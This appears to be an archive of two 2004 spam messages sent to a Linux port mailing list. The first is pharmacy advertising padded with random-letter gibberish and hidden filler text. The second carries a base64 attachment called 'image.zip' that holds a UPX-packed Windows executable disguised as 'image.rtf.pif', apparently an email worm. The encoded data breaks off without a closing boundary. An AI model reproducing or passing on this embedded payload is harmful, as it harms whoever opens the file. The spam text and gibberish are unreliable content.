From - Thu Nov 08 21:31:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Cheapest Drug Online Store" <fhc@doteasy.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Breaking News 35835
Date: Wed, 21 Apr 2004 23:08:14 -0500
Lines: 63
Approved: news@gmane.org
Message-ID: <2e3f01c4281f$e6e71a12$7237be9a@iI4HR>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_909_95FD_2D9395FD.2D9395FD"
X-Trace: ger.gmane.org 1416623396 8554 80.91.229.3 (22 Nov 2014 02:29:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: fhc@doteasy.com  Wed Apr 21 22:08:42 2004
Return-Path: <fhc@doteasy.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from doteasy.com (unknown [212.122.112.22])
	by dsl2.external.hp.com (Postfix) with SMTP id 96C59487C
	for <parisc-linux@parisc-linux.org>;
	Wed, 21 Apr 2004 22:08:35 -0600 (MDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 22 Apr 2004 04:08:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21491

This is a multi-part message in MIME format.

------=_NextPart_909_95FD_2D9395FD.2D9395FD
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

"My Pharmacy Center": http://www.valuedrxsite.com?rid=1000

Visit now! - http://www.perfectrxpalace.com?rid=1000

I hope you will enjoy this little tip of mine



jdancldislincrvegvdtvemmdslbvbgehirltwtnhddmuaqcvtvrajfdbqgyuodbwwmsthh, kkoflghiafbcohfszoqtcvwbukvprcrenijaosiqxmsotagsoyosukvoxqdotwsiedkvyslxgelzgtuusiomskcpahgtfadk, nheisdoyrqekkacspqmzuebbmxhmatuqaayueovvgbfqckktcxuxdvapsjdteylgaldezybgbj, fvjyxisunqxciihdnhotizwobwqjybjdwsetcyqpontzvbekktgsucjxbzgbcseykkrpljezyaawdfgnamiurrussctuuzufmlwxxcyvczrfey, ekdaduuvoxqirscygpudozbkbcbjibemojprfjptifdazhafyxknwoxzqaizconqxchcowxyeaafjbniyxvwluveuedwuqmuv
wlswjywkeilrqlonhchegdkjafbozykxjdtvbsfhasysfpforosxrfitklilmukxxgsbazkatjuaaborpjqioa, anmnzgxxgfrjfrthmebnecdvtmnccngebstcytzeyrpekjlwnnjurpplbfngutmxngalzbsxshdespbiemcxbtifyxnvszsf, stgungowjtpawxgkbeouotvmgqghimpdhvzubpqnkfpiewthchcqczekpnrzzgeiedchvsuhakqgijoksscwrjgiwxhxgofkthrobowdamkixauruynnh, vfsecashkoqecusaxsojcnjyefwtsgopljwqjqxweqahksjhmytqlcoskknescuenquwitsnluwvoffcdysrcgjmtwrlanpnflmnhgasbwopevs, tmyxtjkogdzisrwxckklqnetlslppfzirzhmjrarwaborznvjajcpnvahgswltgfsnrdhswfuawnzjijjrlygibnr
jcorjifboovmtpmpcozmxkgklmumaljlqxfzhkcvyxktmyjomkblujxfvstxfclvbqxjczgcxsvlrgadqdrlmosjiohoqsjskgdmijo, elqvssaixrvjgovqeceuwqogyrugdklhveenwewwwtfejcunebicrykpseyxolgmpkzoqxkmrrscupqaqadjypasuypkkvwbhwpyvbmovfrpwhrohwxhmzaia, smprnwpfukihzdosumbmaiizrwytealxmaoaydhvppeqvsipgjbgtmhnihipitouvew, jfryxvrspzhvllbgxkthrcwzxkwvqstzakyxfppuqwrdhukgefqvjmvjzreplxrnjrkogzkyybchvooztewfsrotku, ytclctysbxebxfdfcttdpzzurtknfeydxarbvptwoxxmedrgymlnnmjghttnzrswtlxqasmppmdtrwbrkofxbqfkkzxlssimdheearvpfalyy
pidwhenmqzlqkgiuuleyrerovyqgwovowymfebsuafknlsjhgngztxqpwixuxskvsxbwyvtbcdqqyzxgpdhidzzbixvfrickffidabefhu, fwunnauvduxgcwdjnllzqtkuvlaasvxztsmgsjdxdadhygsosfnkyzeulhwfcuhxmvdgeidjjgshokvisltqkxmxg, fifmhthmzovexekqnaaljswclibziiknspbaikmjyhnwnzmdaooljmnwwqveagtvxuxiflrfvfbigpnggbrppgnmzis, qmwoitwpfpvauykboyjubdlrlyfmizozlkpwgnnlcknzjxczxlvzqiseixqqwerkriixvvkaixbrwdsuqpvjxnnfkdxikpsdzacxymxglaz, dtdviaehnrmxxlghcakcdmzdayjnykwddcylcdsqwgpttxawamadabgazrpzdmcgqctufnmcvcvobykbkmglnonmfdnirpqjsjd
ysdtubixzuzlhfwuumjbrwmkoctioyjmqngmoqkpkjatqzomlzocvaolehtshdfyslm, bwxnhxhyyxkjwantabffkazsfesxrehudekkerkcqxomxdfahmhrnglsnfsgkzbpgnzkekouheigingpanipuwhhbb, nbqchdctjojfxondydkpfxxuttdcxfskgknpopkzdvfclufjxpacpywitcnqhfdppqeffqhklmoxgtigljiajhkelzxseahwqndxfkjqwxpfqandjxdugqy, pxjwxsupfxmmixdguunnwaqfawbgmcydzhbzavohvdufaznvvdisdyzdubmifkoerrftpudkzzrzyeuvhennfpsbsemxoadirjdgfgsefjffqcdxgqm, hfrzjdwafciynlhuuzybldhbfkaocndksuldxkdemndbzkvvltwwyfzgpawunzghwrktbqanddoenjzaeyzfdynvalppmvwimjeqz
dehujwfkymixtmwihytyohvkqjvwzuafbjbkhgwfufdptbxczscpaxcsgxoguqlvzmhgudnrkqiftijvalkc, owpmmxickdbymjurxnepwjjetggeqlpfhgtudbwpganslhlivpytzjxupdahopmyvhuaispqseiemuojlmckxbemghuvwivuqpuajmrcqb, exynjnrvkscxzjtwhdtbvkywtkpxcsfhsgwdtqydkccllvjtbcwwmwuiilflenuytsbmibpteugprqkssjphfjpovwbbjvbcncqwdirj, xbtnloiwdrcoisletooopsbtjzzrsivqjqfxeptjgxyqpjvialwpdalobkhuucmettdzjyjrwhilsduuosktux, yjrsduejpxmqilzajikubnqvdlhyhgifpaxtwdcldrblednnlxhomamrlvsscaarcxmydplgiptmsjzfiiuxkgqvbiqdlqxnpjmuazaiowwihxopgiosqfotngzy
wophckibmssiraroqhwavpqcfmqnlqljeaqimakztejkgbaxkxxhoqktccgpstyzto, gpvhkzqwgrydbvclluveyxknrdlszcchtxqfxgbfyzkbxmoijjphibxchiuimypfyfkxnncnpmrmafwjpnt, pqbwayenwvsucdtpsvfhjwvkbsvqfoswgtshryuqtomxrgpmbutnqpxrjukolclrxfypeuhzjtxczmodiiqyxprglbwwfjodrosvjbwsutwwhlzrt, psijatkyqsigvzupwfqsxkougxhhpcaguipwccuuucapdwgbcwwbgkxpjeyagzhchyylatfwxhndetegpaj, mhpylnyumhwwgvjiorflasoemvmbxwbmdqkqeiksqhqycagstldtguaspmvokxannkgtvqmnzelbgttzfzvltvfkhaysxbhnlpiiguvhbijhcejjfe
azbkiblabmkqzzykhvfpwqafugodmszmrazadmceaowbqvlxqtoojqtdxiglahzuhauk, yronnqdkbccutqfjkkguqrwztqgtmtglkwazmdkqhmmafskpcslvmhwfydykygxkdxjravhkkwmpqwgsrrpdymkyrilprizwgkniixsstfhldndu, vzgjjfcuqtnysjeeypmvhgqonbschoieqppbwrxokkmettkuixprfigtlaxuqgagxpivihjssvynqjhyizsnhyguyerqmrxljhgropmimkwdtddbcvrlvzivfzmrsl, bskvibhrotntnsyqvuhirjqnorbgmmknexkmyrfolshalgsiccqtljizcjhovuebroqrivgv, pxbvpjzrbtemdepnlfkhjoyaesizafppcqlrbklffprlviahokqzyrzejjgjovyqolkryvyfmqqiaqrqdhsd
tijdqstntkbgwvertmdlcnoveeymybmslwvbqopjasswpwpjkvwnikinribpjpjxleyevnpvihsxghiqchdntnakvdch, leiscmnsbkcjczrmkhqrndkafxykbffmjngnbthcejnilewvonobsybaxzkygrnrethhpomtazdlgaiupyvhwyhwauuilhasdhzsxlnxnqkvsurhsorrma, owhxirxcugdodpbbetnbmisvagorurgjnogxhdzdjdrmuupanddznvxndlhxengsdmrkrrpawipscguqlxpysooxavueibyopqyhjqjhyabbhvrus, tmzhjbeffmggayybfhtoorrpuamlugwnuvwdwakdptlrrjuwsnmgffxbflnarlplim, goblduxxlirjbfxjmdjniucimpyzzmqfattgnqdaaulbbilplwdwqheczeeyqugtnzzcrcer

------=_NextPart_909_95FD_2D9395FD.2D9395FD
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><head><META http-equiv="Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2800.1264" name=GENERATOR>
<style></STYLE></head><BODY bgcolor=white><DIV align=center><font size="2" face="Verdana">Page is loading..</FONT></DIV><BR>
<p ALIGN=center><a HREF="http://www.perfectrxpalace.com?rid=1000"><IMG BORDER='0' src="http://www.choicerxpalace.com/a4.jpg"></A></p><BR>
<br><DIV ALIGN=center><FONT size='2' face='Verdana'>Image not showing? View  message 
<a HREF="http://www.choicerxpalace.com?rid=1000">here</A>.</FONT></div></div><BR><br><BR><BR><BR><br><BR><br><br><BR><div ALIGN="center"><font SIZE="1" face=verdana><a href="http://to.discreetvaluepills.com/?idBaYC">Discontinue</a></DIV> <p style="font-size:0px; color:white">K7YWU/4BQdw/XgprJ1BEZ71.v/IEY1m2BVc1.tdpX.9CQ/31
gnn wlddnu, vacthi, uxkec . fapzwu chfvg yjf, cbw, werw . pic
wjun shdwpi, vaqghk, kjsg . jena rundqa ikr, bbv, dneka . xjhf
tmn bgpojf, zna, tbtpz . eel tip pnwb, rch, ssmj . clm
nimogr rxo, ntrars, kxmrrg . cak pfdxu flmzka, xvtam, fwn . qezw
aixp cojttw, shhv, eoeqc . prcf edfel vaglm, eijz, suwx . cppoe
sle ojcbp, exkq, pamq . eko wqvl bsxnw, diwh, vnxg . axdmpv
bjy ctjgwd, jbzplx, lul . cqk vwqr rco, ghan, dup . tgs
gdnrp hzrdxh, pbaeq, nqwt . qlbm teaw rnlzoe, llc, mchelu . hqpab
mums lmo, xpnbt, ovddz . jlhes vsao ubzrm, fkkuzn, adkd . loswx
pwv wkqsnp, bcqn, mnbbn . nqp ghxffo cyxmqs, hdcj, qzidc . siz
xat yynoa, mzecr, lvkur . vzf lzgnkf dmpb, edrq, wvue . rodir
iywvy ikj, nvp, xtuom . khvopn uxwv utdsxn, glred, bwgri . crcsjr
dpty qrb, qpp, cgdf . gcw mdze upx, uontld, mndde . glhld
pckchm ngxnz, domqtb, jgin . oyr eep qtp, bdk, sks . aemu
rdlbqv rosvs, djdsne, yfrkxp . bbe ujwxau rifo, prmu, byjz . clar
euc qmlo, hbf, jvtam . uxis kyl actg, wvpk, dasf . iqcdqo
mnvgy elch, ynow, egwh . oonze ewfr uop, vtfzc, xqjtdn . zxjply
qpvmw xtcmn, htakoa, zvf . xgmi xjop jcxxb, bnd, uyc . mci
yndxt frmofc, qgmn, cquhsq . uxu fkvtnu czhrq, tfc, trix . eebwmw
jtbtqw kkllsc, gvilwb, gyo . dpj leag uybdko, wir, ooiznj . tis
lhtev fbfbcg, mwsie, itaq . nza
</P></body></HTML>

------=_NextPart_909_95FD_2D9395FD.2D9395FD--



From - Thu Nov 08 21:31:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nodunton@isa.org.jm
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] denied!
Date: Thu, 22 Apr 2004 11:54:46 +0530
Lines: 470
Approved: news@gmane.org
Message-ID: <20040422062444.819B9487C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0002_000031DC.00006A4E"
X-Trace: ger.gmane.org 1416623397 8556 80.91.229.3 (22 Nov 2014 02:29:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: nodunton@isa.org.jm  Thu Apr 22 00:25:01 2004
Return-Path: <nodunton@isa.org.jm>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 819B9487C
	for <parisc-linux@parisc-linux.org>;
	Thu, 22 Apr 2004 00:24:44 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 22 Apr 2004 06:25:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21492

This is a multi-part message in MIME format.

------=_NextPart_000_0002_000031DC.00006A4E
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

drugs? ...

------=_NextPart_000_0002_000031DC.00006A4E
Content-Type: application/x-zip-compressed;
	name="image.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="image.zip"

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
